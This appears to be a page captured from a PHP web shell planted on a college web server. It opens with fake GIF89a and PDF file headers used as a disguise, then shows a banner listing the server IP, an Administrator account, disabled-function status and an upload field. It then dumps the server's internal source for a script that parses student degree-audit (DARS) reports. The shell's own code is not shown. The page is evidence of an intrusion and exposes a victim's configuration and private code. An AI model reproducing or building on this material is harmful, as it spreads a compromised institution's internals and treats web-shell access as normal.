GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/DARS.cloak/parse/ |
Upload File : |
<? // Admin/DARS/parse/parseDARS.phpinc // Parse the uploaded DARS report. setDebugOn(); $_SESSION['Message'] = ''; $f_error = false; $get_DARSln = NULL; #$DEBUG_parseDARS = true; if ( !isset($DEBUG_parseDARS) ) $DEBUG_parseDARS = false; // Determine if the DARS was uploaded as a file or entered into the textarea. $f_DARS_File = $_FILES['f_DARS_File']; $fileParsed = ''; $f_DARS_Report = formValue('DARS_Report'); if ($f_DARS_File['error'] == 4) { // No file was uploaded. if ($f_DARS_Report == '') $f_error = 'No DARS Report was uploaded and no DARS Report was entered into the textarea.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } else { // A file was uploaded. // Verify f_DARS_File. switch ($_FILES['f_DARS_File']['error']) { case 0: // UPLOAD_ERR_OK Value: 0; There is no error, the file uploaded with success. $f_error = false; if ($f_DARS_Report != '') { $f_error = 'Both a DARS Report file was uploaded and a DARS Report was entered into the textarea.<br>Choose only one method to submit a DARS report.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } else { // Read the file and put it into f_DARS_Report. $f_DARS_Report = ''; $dnFileSize = $f_DARS_File['size']; // Reading the file in 1KB chunks to save memory. #printVar('$f_DARS_File',$f_DARS_File); $fileParsed = $f_DARS_File['name']; if ($dnFileHandle = fopen($f_DARS_File['tmp_name'], 'rb')) { while (!feof($dnFileHandle)) { $f_DARS_Report .= fread($dnFileHandle, 1024); } fclose($dnFileHandle); $dnFileOK = true; } } break; case 1: // UPLOAD_ERR_INI_SIZE Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini. $f_error = 'File upload error. The DARS report file '.$_FILES['f_DARS_File']['name'].' was too large. (php.ini)<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 2: // UPLOAD_ERR_FORM_SIZE Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form. $f_error = 'File upload error. The DARS report file '.$_FILES['f_DARS_File']['name'].' was too large. (HTML)<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 3: // UPLOAD_ERR_PARTIAL Value: 3; The uploaded file was only partially uploaded. $f_error = 'File upload error. The DARS report file '.$_FILES['f_DARS_File']['name'].' was only partially uploaded.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 4: // UPLOAD_ERR_NO_FILE Value: 4; No file was uploaded. This only means that no file was selected for upload. $f_error = 'File upload error. No file was DARS report uploaded.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 6: // UPLOAD_ERR_NO_TMP_DIR Value: 6; Missing a temporary folder. Introduced in PHP 4.3.10 and PHP 5.0.3. $f_error = '<p><span class="errorbold">The website has experienced an error: Missing a temporary folder.</span><br><span class="normal error">Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 7: // UPLOAD_ERR_CANT_WRITE Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0. $f_error = '<p><span class="errorbold">The website has experienced an error: Failed to write file to disk.</span><br><span class="normal error">Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; case 8: // UPLOAD_ERR_EXTENSION Value: 8; File upload stopped by extension. Introduced in PHP 5.2.0. $f_error = 'File upload error. The DARS report file '.$_FILES['f_DARS_File']['name'].' upload stopped by extension.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; default: $f_error = '<p><span class="errorbold">The website has experienced an error: UNKNOWN ERROR #'.$_FILES['f_DARS_File']['error'].'.</span><br><span class="normal error">Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; break; } } if ($f_error) { include('EnterDARS.phpinc'); } $headTitle = '_CST_ - Parse DARS Report'; $pageTitle = '_CST_<br>Parse DARS Report'; $css = "printing"; include('common/pageHeader.phpinc'); $f_DARSlnA = ''; if ($fileParsed) echo "Parsing from file: $fileParsed.<br>\n"; include('Admin/DARS/parse/parseDARS_functions.phpinc'); /* state table: 10 Searching for: ['DatePrepared'] ['StudentId'] ['StudentLastName'] ['StudentFirstName'] ['StudentMiddleName'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'] ['CredentialCode'] ['CredentialTitle'] ['CredentialCreditsTotal'] ['CredentialEdPlanSemesterUsed'] ['CredentialEdPlanYrUsed'] ['Advisor'] ['PlacementTest'] ['StudentHolds'] ['CredentialStatus'] 20 Searching for: TRANSFER COURSEWORK ['TransferCollegeName'] ['TransferCollegeAbbr'] ['TransferCollegeCredits'] 30 Searching for: SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS ['StudentCumulativeCompletionPercentage'] ['StudentCreditsAdded'] ['StudentGPA'] ['StudentCreditsInProgress'] ['CredentialCreditsRequired'] ['CredentialCreditsEarned'] ['CredentialCreditsInProgress'] ['CredentialCreditsNeeds'] 40 Searching for: Start of Ed Plan Section 99 - */ // Put the DARS Report into an array. // Convert 'Triangle pointing right.' to "\n--------------------------------------------------------------------------------\n" // Remove 'Triangle pointing down.', 'Open All Sections', and 'Close All Sections' $f_DARS_Report = str_replace(array( 'Triangle pointing right.' ,'Triangle pointing down.' ,'Open All Sections' ,'Close All Sections' ,'**********************************************************' ), array( "\n--------------------------------------------------------------------------------\n" ,'' ,'' ,'' ,"--------------------------------------------------------------------------------" ),$f_DARS_Report); $f_DARS_Array = explode("\n",$f_DARS_Report); #printVar('$f_DARS_Array',$f_DARS_Array); array_unshift($f_DARS_Array,''); $f_DARSlnCount = count($f_DARS_Array); #printVar('$f_DARSlnCount',$f_DARSlnCount); $index = 0; $DARS = array(); #setDebugOn(); $state = 10; $statePrevious = 0; $f_DARStype = ''; get_DARSln(); if ( $DEBUG_parseDARS ) printVar('$f_DARSln',$f_DARSln); #if ( trim($f_DARSln[0]) == 'Degree Audit Report' ) $f_DARStype = 'a'; #if ( trim($f_DARSln[0]) == 'You are here Audit View Course History Close Window' ) $f_DARStype = 'b'; if ( in_DARSln('DARwin Interactive Audit') ) get_DARSln(); // Skip line. if ( $DEBUG_parseDARS ) printVar('$f_DARSln',$f_DARSln); if ( in_DARSln('This script allows') ) get_DARSln(); // Skip line. if ( $DEBUG_parseDARS ) printVar('$f_DARSln',$f_DARSln); if ( trim($f_DARSln) == 'Close Window' || in_DARSln('You are here') ) $f_DARStype = 'c'; if ( $f_DARStype == '' ) $f_error = 'This does not appear to be a "Printer Friendly" DARS Report. The first line was not "Close Window".<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; #if ( $f_DARStype == '' ) $f_error = 'This does not appear to be a DARS Report. The first line was not "Degree Audit Report" or "You are here Audit View Course History Close Window".<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; #printVar('$f_error:$index:$f_DARSlnCount',$f_error.':'.$index.':'.$f_DARSlnCount); while ( !$f_error && $index <= $f_DARSlnCount ) { if (get_DARSln()) { if ( $DEBUG_parseDARS ) printVar("$index of $f_DARSlnCount: \$f_DARSln",$f_DARSln); #if ( $DEBUG_parseDARS ) printVar('$f_DARSlnAsize',$f_DARSlnAsize); #if ( $DEBUG_parseDARS ) printVar('$f_DARSlnA',$f_DARSlnA); #if ( $DEBUG_parseDARS ) printVar('$f_DARSlnA',$f_DARSlnA); exit; $filename = 'parseDARS_'.$state.'_'.$f_DARStype.'.phpinc'; $filepathname = dirname(__FILE__).'/'.$filename; if ( $DEBUG_parseDARS ) printVar('$state:$statePrevious:$filename',$state.':'.$statePrevious.':'.$filename); if ( file_exists($filepathname) ) { include('Admin/DARS/parse/'.$filename); } else { $f_error = '<br><span class="bold error">'."State $state is not programmed.<br>Or file $filepathname does not exist.".'</span>'."<br><br>\n"; } } } if ( !$f_error ) { if ( $state == 99 ) { include('Admin/DARS/parse/parseDARS_99_c.phpinc'); } ?> Enter another DARS Report.<br> <? include('Admin/DARS/EnterDARS/EnterDARSForm.phpinc'); } else { #if ($f_error && $state != 99) { include('common/displayErrorsAndMessages.phpinc'); printVar('$state',$state); $indexOverlap = 5; if (!isset($indexStart)) $indexStart = max(0,$index - 10); $indexStart = max(0,$indexStart - $indexOverlap); if (!isset($indexStop)) $indexStop = min($f_DARSlnCount,$index + 10); $indexStop = min($f_DARSlnCount,$indexStop + $indexOverlap); $errorIndex = $index; $index = $indexStart; ?> <pre> <? while ($index <= $errorIndex) { $f_DARSln = rtrim($f_DARS_Array[$index]); $indexDisplay = " ".$index.": "; $indexDisplay = substr($indexDisplay,strlen($indexDisplay)-6,6); if ( $index == $indexStart+$indexOverlap || $index == $indexStop-$indexOverlap ) { echo '<span class="info">==========</span>',"\n"; } if ($index != $errorIndex) { echo $indexDisplay,$f_DARSln,"\n"; } else { echo '<span class="error">',$indexDisplay,$f_DARSln,'</span>',"\n"; echo '<span class="info">$f_DARSlnA=</span>',"\n"; print_r($f_DARSlnA); } $index++; } #echo '<span class="info">$DARS=</span>',"\n"; #print_r($DARS); ?> </pre> <? printVar('$DARS',$DARS); } include('common/pageFooter.phpinc'); ?>